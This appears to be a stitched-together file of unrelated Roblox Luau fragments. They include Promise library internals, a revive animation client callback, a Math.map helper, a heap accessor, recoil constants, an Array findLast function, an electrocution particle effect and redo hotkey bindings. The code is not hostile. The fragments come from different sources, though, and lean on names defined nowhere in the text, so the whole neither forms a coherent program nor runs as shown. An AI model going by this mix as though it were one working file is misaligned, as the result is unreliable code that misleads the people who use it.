function Promise.prototype:_unwrap() if self._status == Promise.Status.Started then error("Promise has not resolved or rejected.", 2) end local success = self._status == Promise.Status.Resolved return success, unpack(self._values, 1, self._valuesLength) end function Promise.prototype:_resolve(...) if self._status ~= Promise.Status.Started then if Promise.is((...)) then (...):_consumerCancelled(self) end return end -- If the resolved value was a Promise, we chain onto it! if Promise.is((...)) then -- Without this warning, arguments sometimes mysteriously disappear if select("#", ...) > 1 then local message = ( "When returning a Promise from andThen, extra arguments are " .. "discarded! See:\n\n%s" ):format( self._source ) warn(message) end local promise = (...):andThen( function(...) self:_resolve(...) end, function(...) self:_reject(...) end ) if promise._status == Promise.Status.Cancelled then self:cancel() elseif promise._status == Promise.Status.Started then -- Adopt ourselves into promise for cancellation propagation. self._parent = promise promise._consumers[self] = true end return end self._status = Promise.Status.Resolved self._valuesLength, self._values = pack(...) -- We assume that these callbacks will not throw errors. for _, callback in ipairs(self._queuedResolve) do callback(...) end self:_finalize() end function Promise.prototype:_reject(...) if self._status ~= Promise.Status.Started then return end self._status = Promise.Status.Rejected self._valuesLength, self._values = pack(...) -- If there are any rejection handlers, call those! if not isEmpty(self._queuedReject) then -- We assume that these callbacks will not throw errors. for _, callback in ipairs(self._queuedReject) do callback(...) end else -- At this point, no one was able to observe the error. -- An error handler might still be attached if the error occurred -- synchronously. We'll wait one tick, and if there are still no -- observers, then we should put a message in the console. local err = tostring((...)) spawn(function() -- Someone observed the error, hooray! if not self._unhandledRejection then return end -- Build a reasonable message local message = ("Unhandled promise rejection:\n\n%s\n\n%s"):format( err, self._source ) warn(message) end) end self:_finalize() end
--Playing the revive animation locally works a lot better than playing it server side
function game.ReplicatedStorage.RemoteFunctions.ReviveAnimation.OnClientInvoke(bodyPartsLocationTable, lastBranch) local respawnPosition = player.Character.Torso.CFrame for i = 1, #bodyPartsLocationTable["Head"] do if lastBranch ~= nil then if player.Character.Torso.Position.Z > lastBranch then break end end game:GetService("RunService").RenderStepped:wait() for key, value in pairs(bodyPartsLocationTable) do if player.Character:FindFirstChild(key) then if value[i] then player.Character[key].CFrame = value[i] end end end respawnPosition = player.Character.Torso.CFrame end player.Character:Destroy() return respawnPosition end
--[=[ Maps a number from one range to another. :::note Note the mapped value can be outside of the initial range, which is very useful for linear interpolation. ::: ```lua print(Math.map(0.1, 0, 1, 1, 0)) --> 0.9 ``` @param num number @param min0 number @param max0 number @param min1 number @param max1 number @return number ]=]
function Math.map(num: number, min0: number, max0: number, min1: number, max1: number): number if max0 == min0 then error("Range of zero") end return (((num - min0)*(max1 - min1)) / (max0 - min0)) + min1 end
--[[ @brief Returns the smallest element in the heap. @return The smallest element in the heap (using the stored comparator function). --]]
function Heap:Top() return self[1]; end
--// Recoil Settings
gunrecoil = -0.3; camrecoil = 0.3; AimGunRecoil = -0.4; AimCamRecoil = 0.2; Kickback = 3; AimKickback = 0.8;
--!strict --[=[ @function findLast @within Array @param array {T} -- The array to search. @param value? any -- The value to search for. @param from? number -- The index to start searching from. @return number? -- The index of the last item in the array that matches the value. Finds the index of the last item in the array that matches the value. ```lua local array = { "hello", "world", "hello" } local index = FindLast(array, "hello") -- 3 local index = FindLast(array, "hello", 2) -- 1 ``` ]=]
local function findLast<T>(array: { T }, value: any?, from: number?): number? local length = #array from = if type(from) == "number" then if from < 1 then length + from else from else length for index = from, 1, -1 do if array[index] == value then return index end end return end return findLast
-- constants
local PLAYER = Players.LocalPlayer local ELECTROCUTE_AMOUNT = 2 local VELOCITY_AMOUNT = 10 return function(character) local effects = character.Effects local parts = {} for _, v in pairs(character:GetChildren()) do if v:IsA("BasePart") and v.Transparency ~= 1 then table.insert(parts, v) local rate = math.floor((v.Size.X + v.Size.Y + v.Size.Z) * ELECTROCUTE_AMOUNT) local emitter1 = script.ElectricityEmitter1:Clone() emitter1.Rate = rate emitter1.Parent = v local emitter2 = script.ElectricityEmitter2:Clone() emitter2.Rate = rate emitter2.Parent = v end end for i = 1, 100 do for _, v in pairs(parts) do v.RotVelocity = Vector3.new(math.random(-VELOCITY_AMOUNT, VELOCITY_AMOUNT), math.random(-VELOCITY_AMOUNT, VELOCITY_AMOUNT), math.random(-VELOCITY_AMOUNT, VELOCITY_AMOUNT)) end wait(0.1) end end
-- Assign hotkeys for redoing (left or right shift + Y)
AssignHotkey({ 'LeftShift', 'Y' }, History.Redo); AssignHotkey({ 'RightShift', 'Y' }, History.Redo);